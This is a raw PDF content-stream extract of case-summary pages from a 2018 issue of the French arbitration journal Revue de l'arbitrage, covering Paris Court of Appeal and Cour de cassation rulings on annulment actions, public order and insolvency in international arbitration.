0 Td [(;)55( cet effet,)55( )]TJ 0.008 Tw -30.828 -1.075 Td [(inh\351rent )1(\340 )1(la )1(loi )1(italienne )1(des )1(proc\351dures )1(d\222insolvabilit\351,)55( )1(qui,)55( )1(en )1(vertu )1(de )1(l\222article)]TJ /Span<>> BDC ( )Tj EMC 34.079 0 Td (17 )Tj 0.017 Tw -34.079 -1.075 Td [(pr\351cit\351 )1(du r\350glement )1(\(CE\) n\260 )1(1346/2000,)55( s\222appliquant de )1(plein droit dans )1(les autres )]TJ 0.067 Tw T* [(Etats membres)55(,)55( n\222a nul besoin d\222\352tre rappel\351 par la sentence)25(,)55( de sorte que celle-ci,)55( )]TJ 0.138 Tw T* [(en pronon\347ant des condamnations sans pr\351ciser les modalit\351s de \ leur ex\351cution,)55( )]TJ 0.215 Tw T* [(ne comporte aucune violation manifeste)25(,)55( effective et concr\350te de l\222or)18(dre public )]TJ 0 Tw T* (international.)Tj 0.193 Tw 1.063 -1.798 Td [(Est irrecevable la demande d\222infirmation de l\222or)18(donnance d\222ex)18(equatur d\222une )]TJ -0.018 Tw -1.063 -1.075 Td [(sentence )1(\340 )1(l\222\351gar)18(d )1(de )1(laquelle )1(le )1(recours )1(en )1(annulation )1(est )1(rejet\351,)55( )1(\351tant )1(au )1(demeurant )]TJ 0.048 Tw T* [(observ\351 que l\222ex)18(equatur n\222a pas la nature d\222une mesure d\222ex\351cution,)55( inter)18(dite \340 un )]TJ 0.075 Tw T* (cr\351ancier dont le d\351biteur fait l\222objet d\222une proc\351dure d\ \222insolvabilit\351.)Tj /T1_1 1 Tf 0.154 Tw 1.063 -1.798 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 16/01358.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 260.2935 Tm (me)Tj 8 0 0 8 160.1072 257.0935 Tm ( )Tj /T1_2 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 260.2935 Tm (me)Tj 8 0 0 8 232.3432 257.0935 Tm ( )Tj /T1_2 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_2 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.65 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 73.7782 251.6935 Tm (es)Tj 8 0 0 8 79.4678 248.4935 Tm ( )Tj /T1_2 1 Tf 0.65 Tw 0.845 0 Td [(V)137(an C)18(a)37(uwelaer)10(t)37(,)55( Poggi-F)18(errer)6(o )]TJ /T1_1 1 Tf 0 Tw (et)Tj /T1_2 1 Tf 0.65 Tw [( Michel,)55( )]TJ /T1_1 1 Tf 22.94 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision )Tj 0.075 Tw -27.341 -1.075 Td (attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 4.028 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC [(entence du 3 mai 2015.)55( \227 )]TJ /Span<>> BDC (R)Tj EMC (ejet.)Tj /T1_3 1 Tf 0.073 Tw -4.028 -6.05 Td ([2018/12] Cour de cassation \(1)Tj -0.01 Tc 0.01 Tw 6.4 0 0 6.4 158.7325 194.6942 Tm (re)Tj 0 Tc 0.073 Tw 8 0 0 8 164.3595 191.4942 Tm [( Ch.)37( civ)92(.\),)37( 28 f\351vrier 2018,)]TJ /T1_4 1 Tf 0 Tw ( )Tj /T1_0 1 Tf 0.073 Tw 11.588 0 Td (R\351publique d\351mocra)Tj 0 Tw (-)Tj 0.075 Tw -25.755 -1.075 Td [(tique du Congo c/ soci\351t\351 FG Hemisphere )55(Associates LLC)]TJ /T1_2 1 Tf 0.534 Tw 0 -1.798 TD [(V)110(oies de recour)10(s)24(.)55( \227 Cession de cr\351ance litigieuse.)55( \227 Recour)10(s en )]TJ 0.36 Tw 2.126 -1.075 Td [(annula)54(tion contre la sentence.)55( \227 )55(Ar)10(t .)55( 1699 C.)55( civ)92(.)55( \227 Demande )]TJ 0.783 Tw 0 -1.075 TD [(de retrait litigieux p)55(ar le cessionn)18(aire.)55( \227 Recev)74(abilit\351.)55( \227 )]TJ 0.984 Tw T* [(Exer)6(cice d)37(u retrait litigieux )25(affect)25(ant l)95(\222ex\351cution de la )]TJ 0 Tw T* (sentence.)Tj /T1_0 1 Tf -0.014 Tw -1.063 -2.507 Td [(V)55(iole l\222article 1699 du Code civil la cour d\222appel qui juge irrecev\ able la demande )]TJ 0.084 Tw -1.063 -1.075 Td [(de retrait litigieux form\351e par une partie \340 l\222arbitrage)25(,)55( au motif que la mission de )]TJ -0.029 Tw T* [(la cour d\222appel,)55( saisie en application des articles 1520 et 1525 du Code de proc\351dure\ )]TJ 0.202 Tw T* [(civile)25(,)55( est limit\351e \340 l\222examen des vices \351num\351r\351s par ces tex\ tes)55(,)55( de sorte que la )]TJ 0.281 Tw T* [(demande qui tend,)55( apr\350s une instruction du fond de l\222affaire)25(,)55( \340 la lib\351ration )]TJ 0.12 Tw T* (du)Tj /Span<>> BDC ( )Tj EMC (d\351biteur de la sentence par le paiement au cessionnaire du prix de ce\ ssion et )Tj 0.031 Tw T* [(de divers accessoires)55(,)55( n\222est pas comprise dans cette mission,)55( alors que l\222ex)18(ercice du )]TJ 0.075 Tw T* [(retrait litigieux affecte l\222ex\351cution de la sentence)25(.)]TJ ET endstream endobj 43 0 obj <>stream 8;Z\6>AhA5#im]=S,8h3lSO1O@E2MbQ*%&e7C#5m56_rYWrMW^+@u1PC]"SZIn8M' +Y&S.F..R[Krsj0VBbd4Rc=pE)%[l#Y_sY`"L1$F:QVFeLSNufI=I\"[PsmUi"h3) "n^(++4J:#*)A,s'hf.sbDG$%DqG_(7Q`gDoTm]W/Yn-VUMDq$)u#qdA;eaFm\1': ``AS#I[;oaLaX]r%UY.6=Z(OK/GK^Knb1&r./(;U6:Ab_GrO9K EA/KtqU9)D#NtCL]0piO:l D68dIl/t&>I"K1I[T4uNd3Cj$5TY%_YG!)+;RmMAjBCFOjCePPn*6I\$D#u]or'Lr D!%lliB)~> endstream endobj 40 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 229.6853 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0.075 Tw /Span<>> BDC 6.5 0 0 6.5 51.0236 543.0812 Tm ( )Tj EMC 12.654 0 Td [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj /Span<>> BDC ( )Tj EMC 0 Tw 9 0 0 9 317.7026 543.0812 Tm (299)Tj /T1_2 1 Tf 0.049 Tw 8 0 0 8 51.0236 518.2095 Tm [([2018/11] Cour d\222a)-10(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 20.011 0 Td ( )Tj EMC [(1\),)37( 27 f\351vrier 2018,)]TJ /T1_3 1 Tf 0 Tw ( )Tj /T1_0 1 Tf 0.049 Tw 8.769 0 Td (Soci\351t\351 Riseria )Tj 0.075 Tw -28.78 -1.075 Td (Prodotti del Sole c/ SAS Scamark)Tj /T1_4 1 Tf 0.412 Tw 0 -2.149 TD [(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Recour)10(s en )25(annula)54(tion)25(.)55( \227 1\260\) )55(Ar)10(t)37(.)55( 1520-)]TJ 0.387 Tw 2.126 -1.075 Td [(3\260 CPC.)55( \227 )55(Arbitre.)55( \227 Mission)25(.)55( \227 )55(All\351ga)54(tion d\222absence de prise )]TJ 0.616 Tw 0 -1.075 TD (en)Tj /Span<>> BDC ( )Tj EMC [(compte des contest)25(a)54(tions d)37(u rappor)10(t d\222exper)10(tise.)55( \227 Mo)35(yen )]TJ 0.297 Tw T* [(invit)25(ant \340 une r\351vision )25(a)37(u fond interdite )25(a)37(u juge de l)95(\222annula)54(tion)25(.)55( )]TJ 0.611 Tw T* [(\227 )55(All\351ga)54(tion d\222omission de st)25(a)54(tuer.)55( \227 Grief non constitutif )]TJ 0.507 Tw T* [(d\222un c)18(a)18(s d\222ouver)10(ture d)37(u recour)10(s en )25(annula)54(tion)25(.)55( \227 F)102(a)18(cul)74(t\351 de )]TJ 0.48 Tw T* [(ress)25(aisir les )25(arbitres)24(.)55( \227 2\260\) )55(Ar)10(t)37(.)55( 1520-5\260 CPC.)55( \227 Ordre public )]TJ 0.437 Tw T* [(intern)18(a)54(tion)18(al.)55( \227 Pr)6(oc\351d)37(ure collective.)55( \227 Principe de suspension )]TJ 0.417 Tw T* [(des pour)10(suites individ)37(uelles)24(.)55( \227 Principe d\222\351galit\351 des cr\351ancier)10(s)24(.)55( )]TJ 0.712 Tw T* [(\227 Dr)6(oit it)25(alien de la f)35(aillite.)55( \227 Pr)6(oc\351d)37(ure de concord)18(a)54(t )]TJ 0.43 Tw T* [(pr\351ventif)92(.)55( \227 Ordre public de direction)25(.)55( \227 )55(Ar)10(ticle 1466 CPC et )]TJ 1.549 Tw T* [(interdiction de se contredire )25(a)37(u d\351triment d\222a)37(utr)18(ui )]TJ 0.626 Tw T* [(in)18(applic)18(ables)24(.)55( \227 Mo)35(yen recev)74(able.)55( \227 Pr)6(oc\351d)37(ure pr\351ventive.)55( \227 )]TJ 0.075 Tw T* [(Pr)6(oc\351d)37(ure n\222interdis)25(ant p)55(a)18(s le pr)6(ononc\351 de cond)18(amn)18(a)54(tions)24(.)]TJ 0.787 Tw -2.126 -2.149 Td [(Exequ)37(a)54(tur.)55( )1(\227 )55(Appel )1(de )1(l)95(\222ordonn)18(ance )1(d\222exequ)37(a)54(tur.)55( )1(\227 )1(Rejet )1(d)37(u )]TJ 0.785 Tw 2.126 -1.075 Td [(recour)10(s en )25(annula)54(tion)25(.)55( \227 Demande irrecev)74(able.)55( \227 )55(Absence )]TJ 0.598 Tw T* (de)Tj /Span<>> BDC ( )Tj EMC [(n)18(a)54(ture de mesure d\222ex\351cution)25(.)55( \227 Demande non soumise \340 )]TJ 0.632 Tw T* [(l)95(\222interdiction )1(f)35(aite )25(a)37(u )1(cr\351ancier dont )1(le d\351biteur )1(f)35(ait )1(l)95(\222objet )]TJ 0.075 Tw T* [(d\222une pr)6(oc\351d)37(ure d\222insol)74(v)74(abilit\351.)55( )]TJ 0.525 Tw -2.126 -2.149 Td [(Ordre public)18(.)55( \227 )55(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Principe de suspension )]TJ 0.417 Tw 2.126 -1.075 Td [(des pour)10(suites individ)37(uelles)24(.)55( \227 Principe d\222\351galit\351 des cr\351ancier)10(s)24(.)55( )]TJ 0.712 Tw T* [(\227 Dr)6(oit it)25(alien de la f)35(aillite.)55( \227 Pr)6(oc\351d)37(ure de concord)18(a)54(t )]TJ 0.61 Tw T* [(pr\351ventif)92(.)55( \227 Ordre public de direction)25(.)55( \227 )55(Ar)10(ticle 1466 CPC )]TJ 1.157 Tw T* (et)Tj /Span<>> BDC ( )Tj EMC [(interdiction de se contredire )25(a)37(u d\351triment d\222a)37(utr)18(ui )]TJ 0.626 Tw T* [(in)18(applic)18(ables)24(.)55( \227 Mo)35(yen recev)74(able.)55( \227 Pr)6(oc\351d)37(ure pr\351ventive.)55( \227 )]TJ 0.075 Tw T* [(Pr)6(oc\351d)37(ure n\222interdis)25(ant p)55(a)18(s le pr)6(ononc\351 de cond)18(amn)18(a)54(tions)24(.)55( )]TJ 0.78 Tw -2.126 -2.149 Td [(Pr)6(oc\351d)37(ure collective.)55( \227 Ordre public intern)18(a)54(tion)18(al.)55( \227 Principe )]TJ 0.496 Tw 2.126 -1.075 Td (de)Tj /Span<>> BDC ( )Tj EMC [(suspension des pour)10(suites individ)37(uelles)24(.)55( \227 Principe d\222\351galit\351 )]TJ 0.432 Tw T* [(des cr\351ancier)10(s)24(.)55( \227 Dr)6(oit it)25(alien de la f)35(aillite.)55( \227 Pr)6(oc\351d)37(ure de )]TJ 0.309 Tw T* [(concord)18(a)54(t pr\351ventif)92(.)55( \227 Ordre public de direction)25(.)55( \227 )55(Ar)10(ticle)]TJ /Span<>> BDC ( )Tj EMC (1466 )Tj 0.724 Tw T* [(CPC et interdiction de se contredire )25(a)37(u d\351triment d\222a)37(utr)18(ui )]TJ 0.686 Tw T* [(in)18(applic)18(able.)55( \227 Mo)35(yen recev)74(able.)55( \227 Pr)6(oc\351d)37(ure pr\351ventive.)55( \227 )]TJ 0.075 Tw T* [(Pr)6(oc\351d)37(ure n\222interdis)25(ant p)55(a)18(s le pr)6(ononc\351 de cond)18(amn)18(a)54(tions)24(.)55( )]TJ 0.419 Tw -2.126 -2.149 Td [(Recour)10(s )1(en )26(annula)54(tion)25(.)55( )1(\227 )55(Arbitra)18(ge )1(intern)18(a)54(tion)18(al.)55( )1(\227 )1(1\260\) )56(Ar)10(t)37(.)55( )1(1520-)]TJ 0.228 Tw 2.126 -1.075 Td [(3\260 CPC.)55( \227 )55(Arbitre.)55( \227 Mission)25(.)55( \227 )55(All\351ga)54(tion d\222absence de prise en )]TJ 0.899 Tw 0 -1.075 TD [(compte des contest)25(a)54(tions d)37(u rappor)10(t d\222exper)10(tise.)55( \227 Mo)35(yen )]TJ 0.297 Tw 0 -1.075 TD [(invit)25(ant \340 une r\351vision )25(a)37(u fond interdite )25(a)37(u juge de l)95(\222annula)54(tion)25(.)55( )]TJ 0.611 Tw 0 -1.075 TD [(\227 )55(All\351ga)54(tion d\222omission de st)25(a)54(tuer.)55( \227 Grief non constitutif )]TJ 0.507 Tw T* [(d\222un c)18(a)18(s d\222ouver)10(ture d)37(u recour)10(s en )25(annula)54(tion)25(.)55( \227 F)102(a)18(cul)74(t\351 de )]TJ 0.48 Tw T* [(ress)25(aisir les )25(arbitres)24(.)55( \227 2\260\) )55(Ar)10(t)37(.)55( 1520-5\260 CPC.)55( \227 Ordre public )]TJ 0.437 Tw 0 -1.075 TD [(intern)18(a)54(tion)18(al.)55( \227 Pr)6(oc\351d)37(ure collective.)55( \227 Principe de suspension )]TJ 0.417 Tw 0 -1.075 TD [(des pour)10(suites individ)37(uelles)24(.)55( \227 Principe d\222\351galit\351 des cr\351ancier)10(s)24(.)55( )]TJ 0.712 Tw 0 -1.075 TD [(\227 Dr)6(oit it)25(alien de la f)35(aillite.)55( \227 Pr)6(oc\351d)37(ure de concord)18(a)54(t )]TJ 0.43 Tw T* [(pr\351ventif)92(.)55( \227 Ordre public de direction)25(.)55( \227 )55(Ar)10(ticle 1466 CPC et )]TJ 1.549 Tw T* [(interdiction de se contredire )25(a)37(u d\351triment d\222a)37(utr)18(ui )]TJ 0.626 Tw 0 -1.075 TD [(in)18(applic)18(ables)24(.)55( \227 Mo)35(yen recev)74(able.)55( \227 Pr)6(oc\351d)37(ure pr\351ventive.)55( \227 )]TJ 0 -1.075 TD [(Pr)6(oc\351d)37(ure )1(n\222interdis)25(ant )1(p)55(a)18(s le )1(pr)6(ononc\351 )1(de )1(cond)18(amn)18(a)54(tions)24(.)55( )1(\227 )]TJ 0 Tw 0 -1.075 TD [(Rejet)37(.)]TJ ET endstream endobj 41 0 obj <>stream 8;Z\5>IMEl#\5[cS,KOEm50Cs)Th4gl+K(sg N6[.jiV9T-Bd*mJH^"`@:hVGCkMps[`"*t@Ln*+,@!M3#o EJgVmYZ5PFQl/%:GZ?)FW[8Xc3fiC%oj0r3gTUmIt6)Ys#X!LT\K&V!\]t-tDSP SnKVGGHZJ)cgY9&g91+S6-YUmNn%N5%)u;,l\^&J"gLC6+AZ&B~> endstream endobj 38 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 51.0236 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0 Tw 9 0 0 9 51.0236 543.0812 Tm (298)Tj /Span<>> BDC ( )Tj EMC 0.075 Tw 6.5 0 0 6.5 132.3091 543.0812 Tm [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 355.0521 cm 0 0 m 56.692 0 l S Q q 1 0 0 1 162.9926 54.7251 cm 0 0 m 56.692 0 l S Q BT /T1_2 1 Tf 0.053 Tw 8 0 0 8 51.0236 518.2095 Tm [([2018/09] Cour d\222a)-10(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 20.047 0 Td ( )Tj EMC [(1\),)37( 23 jan)18(vier 2018,)]TJ /T1_3 1 Tf 0 Tw ( )Tj /T1_0 1 Tf 0.053 Tw 8.941 0 Td [(SA So)18(varex c/ )]TJ 0.075 Tw -28.989 -1.075 Td (SA Cargill SLU)Tj /T1_4 1 Tf 0.784 Tw 0 -1.784 TD [(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Recour)10(s en )25(annula)54(tion)25(.)55( \227 Sentence )]TJ 0.693 Tw 2.126 -1.075 Td [(rend)37(ue \340 l)95(\222\351tranger.)55( \227 Sentence rev\352tue de l)95(\222exequ)37(a)54(tur.)55( \227 )]TJ 0.261 Tw 0 -1.075 TD [(F)37(orma)54(tion d\222un recour)10(s en )25(annula)54(tion)25(.)55( \227 )55(Ar)10(t)37(.)55( 125 CPC.)55( \227 Relev\351 )]TJ 0.075 Tw T* [(d\222office de l)95(\222irrecev)74(abilit\351.)55( \227 Irrecev)74(abilit\351.)]TJ 0.792 Tw -2.126 -1.784 Td [(Recour)10(s en )25(annula)54(tion)25(.)55( \227 )55(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Sentence )]TJ 0.693 Tw 2.126 -1.075 Td [(rend)37(ue \340 l)95(\222\351tranger.)55( \227 Sentence rev\352tue de l)95(\222exequ)37(a)54(tur.)55( \227 )]TJ 0.261 Tw T* [(F)37(orma)54(tion d\222un recour)10(s en )25(annula)54(tion)25(.)55( \227 )55(Ar)10(t)37(.)55( 125 CPC.)55( \227 Relev\351 )]TJ 0.075 Tw T* [(d\222office de l)95(\222irrecev)74(abilit\351.)55( \227 Irrecev)74(abilit\351.)]TJ /T1_0 1 Tf 0.265 Tw -1.063 -1.784 Td (Il n\222y a pas de recours en annulation ouvert contre une sentence arbi\ trale )Tj 0.296 Tw -1.063 -1.075 Td (rendue \340 l\222\351tranger)Tj /Span<>> BDC ( )Tj EMC 8.843 0 Td [(;)55( un tel recours est irrecevable)25(,)55( l\222irrecevabilit\351 devant \352tre )]TJ 0.075 Tw -8.843 -1.075 Td [(soulev\351e d\222office sur le fondement de l\222article 125 CPC)37(.)]TJ /T1_1 1 Tf 0.154 Tw 1.063 -1.784 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 16/15258.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 386.9326 Tm (me)Tj 8 0 0 8 160.1072 383.7326 Tm ( )Tj /T1_4 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 386.9326 Tm (me)Tj 8 0 0 8 232.3432 383.7326 Tm ( )Tj /T1_4 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_4 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.145 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 69.7336 378.3326 Tm (es)Tj 8 0 0 8 75.4231 375.1326 Tm ( )Tj /T1_4 1 Tf 0.395 0 Td (Simon )Tj /T1_1 1 Tf 3.063 0 Td (et)Tj /T1_4 1 Tf 0.145 Tw [( Quint)37(,)55( )]TJ /T1_1 1 Tf 4.533 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 11.149 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC (entence rendue \340 Londres )Tj 0.075 Tw -22.19 -1.075 Td [(le 10 avril 2014.)55( \227 )]TJ /Span<>> BDC (I)Tj EMC (rrecevabilit\351.)Tj /T1_2 1 Tf -0.01 Tc -0.001 Tw 0 -4.973 TD [([2018/10] Cour d\222a)-10(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 19.155 0 Td ( )Tj EMC [(1\),)37( 30 jan)18(vier 2018,)]TJ /T1_3 1 Tf 0 Tc 0 Tw ( )Tj /T1_0 1 Tf -0.01 Tc -0.001 Tw 8.438 0 Td [(M.)55( Eric Malaquin)-10( )]TJ 0 Tc 0.075 Tw -27.593 -1.075 Td [(et autre c/ SAS )55(T)92(erre de F)18(rance)]TJ /T1_4 1 Tf 0.496 Tw 0 -1.784 TD [(V)110(oies de recour)10(s)24(.)55( \227 Sentence )25(arbitrale.)55( \227 D\351clara)54(tion d\222appel.)55( \227 )]TJ 0.601 Tw 2.126 -1.075 Td [(All\351ga)54(tion d\222insuffis)25(ances d)37(u s)10(y)18(st\350me informa)54(tique des )25(a)80(v)6(oc)18(a)54(ts )]TJ 0.921 Tw 0 -1.075 TD [(pour former un recour)10(s en )25(annula)54(tion)25(.)55( \227 Possibilit\351 de )]TJ 1.001 Tw T* [(s\351lectionner l)95(\222onglet \253)]TJ /Span<>> BDC ( )Tj EMC 13.021 0 Td [(a)37(utre recour)10(s \340 la diligence des )]TJ 0.67 Tw -13.021 -1.075 Td [(p)55(ar)10(ties)]TJ /Span<>> BDC ( )Tj EMC 3.351 0 Td [(\273.)55( \227 Indiff\351rence de l)95(\222inv)6(oc)18(a)54(tion des mo)35(yens )25(tir\351s de )]TJ 0.492 Tw -3.351 -1.075 Td [(l)95(\222ar)10(ticle 1492 CPC sur la qu)37(alific)18(a)54(tion de la )25(v)6(oie de recour)10(s)24(.)55( )]TJ 0.075 Tw T* [(\227 Irrecev)74(abilit\351.)]TJ 1.019 Tw -2.126 -1.784 Td [(Recour)10(s en )25(annula)54(tion)25(.)55( \227 Recour)10(s impr)6(oprement qu)37(alifi\351 de )]TJ 0.929 Tw 2.126 -1.075 Td [(d\351clara)54(tion d\222appel.)55( \227All\351ga)54(tion d\222insuffis)25(ances d)37(u s)10(y)18(st\350me )]TJ 0.43 Tw T* [(informa)54(tique des )25(a)80(v)6(oc)18(a)54(ts pour former un recour)10(s en )25(annula)54(tion)25(.)55( )]TJ 0.713 Tw T* [(\227 Possibilit\351 de s\351lectionner l)95(\222onglet \253)]TJ /Span<>> BDC ( )Tj EMC 22.277 0 Td [(a)37(utre recour)10(s \340 la )]TJ 0.888 Tw -22.277 -1.075 Td [(diligence des p)55(ar)10(ties)]TJ /Span<>> BDC ( )Tj EMC 11.517 0 Td [(\273.)55( \227 Indiff\351rence de l)95(\222inv)6(oc)18(a)54(tion des )]TJ 0.511 Tw -11.517 -1.075 Td [(mo)35(yens )25(tir\351s de l)95(\222ar)10(ticle 1492 CPC sur la qu)37(alific)18(a)54(tion de la )]TJ 0.075 Tw T* [(v)6(oie de recour)10(s)24(.)55( \227 Irrecev)74(abilit\351.)]TJ /T1_0 1 Tf 0.01 Tw -1.063 -1.784 Td [(Le syst\350me informatique des avocats \(RPV)111(A\) ne les oblige pas \340 interjeter appel )]TJ 0.168 Tw -1.063 -1.075 Td (d\222une sentence arbitrale mais leur permet au contraire de saisir cett\ e cour d\222un )Tj 0.213 Tw T* (recours en annulation dirig\351 contre une telle sentence en s\351lectio\ nnant l\222onglet )Tj 0.117 Tw T* (\253)Tj /Span<>> BDC ( )Tj EMC 0.75 0 Td (autre recours \340 la diligence des parties)Tj /Span<>> BDC ( )Tj EMC 17.063 0 Td [(\273,)55( de sorte que les parties peuvent donc )]TJ 0.075 Tw -17.813 -1.075 Td [(valablement former un tel recours)55(.)]TJ 0.116 Tw 1.063 -1.784 Td (Le fait que des conclusions tendent \340 l\222annulation de la sentence \ et invoquent )Tj 0.118 Tw -1.063 -1.075 Td [(les mo)18(yens tir\351s de l\222article 1492 du Code de proc\351dure civile n\222a\ pas pour effet )]TJ 0.001 Tw T* [(de modifier la qualification de la voie de recours)55(,)55( improprement ex)18(erc\351e qui r\351sulte )]TJ 0.075 Tw T* [(de l\222acte de saisine de la juridiction.)55( )]TJ /T1_1 1 Tf 0.154 Tw 1.063 -1.784 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 15/24612.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 86.6056 Tm (me)Tj 8 0 0 8 160.1072 83.4056 Tm ( )Tj /T1_4 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 86.6056 Tm (me)Tj 8 0 0 8 232.3432 83.4056 Tm ( )Tj /T1_4 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_4 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.071 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 69.1442 78.0056 Tm (es)Tj 8 0 0 8 74.8337 74.8056 Tm ( )Tj /T1_4 1 Tf 0.321 0 Td (Malle )Tj /T1_1 1 Tf 3.321 0 Td (et)Tj /T1_4 1 Tf 0.071 Tw [( Dela)54(ttre,)55( )]TJ /T1_1 1 Tf 5.868 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 10.928 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC [(entence du 26 mai 2015.)55( )]TJ 0.075 Tw -23.415 -1.075 Td (\227 )Tj /Span<>> BDC (I)Tj EMC (rrecevabilit\351.)Tj ET endstream endobj 39 0 obj <>stream 8;Z\6;0Ki"%.dp&e,@VPlR^&]0nj`6Q>ZR:I4[;FKIgXIec5?E6'/uo4MJQr7UVj@ PDu*%5LIlFji5a$?:?deeVr2.*ANYZ,!BYcT"BuQAYUWoTL[@UG*"`07.*Uk&pcS+ cPo`<^F46!N#:Tqq)toXV;i..Ibm0QeogJ6;.P0'1#/pi/lp.72An@bcMXF1KW%ZdY.~> endstream endobj 36 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 229.6853 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0.075 Tw /Span<>> BDC 6.5 0 0 6.5 51.0236 543.0812 Tm ( )Tj EMC 12.654 0 Td [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj /Span<>> BDC ( )Tj EMC 0 Tw 9 0 0 9 317.7026 543.0812 Tm (297)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 277.7734 cm 0 0 m 56.692 0 l S Q q 1 0 0 1 162.9926 54.7503 cm 0 0 m 56.692 0 l S Q BT /T1_2 1 Tf 1.101 Tw 8 0 0 8 68.0315 518.3295 Tm [(demandes li\351es \340 l)95(\222ex\351cution d\222un contra)54(t )25(affect\351e p)55(ar )]TJ 0.712 Tw 0 -1.075 TD [(l)95(\222emb)25(argo)55(.)55( \227 )55(All\351ga)54(tion de priv)74(a)54(tion d)37(u dr)6(oit \340 un pr)6(oc\350s )]TJ 0.332 Tw T* [(\351quit)25(able.)55( \227 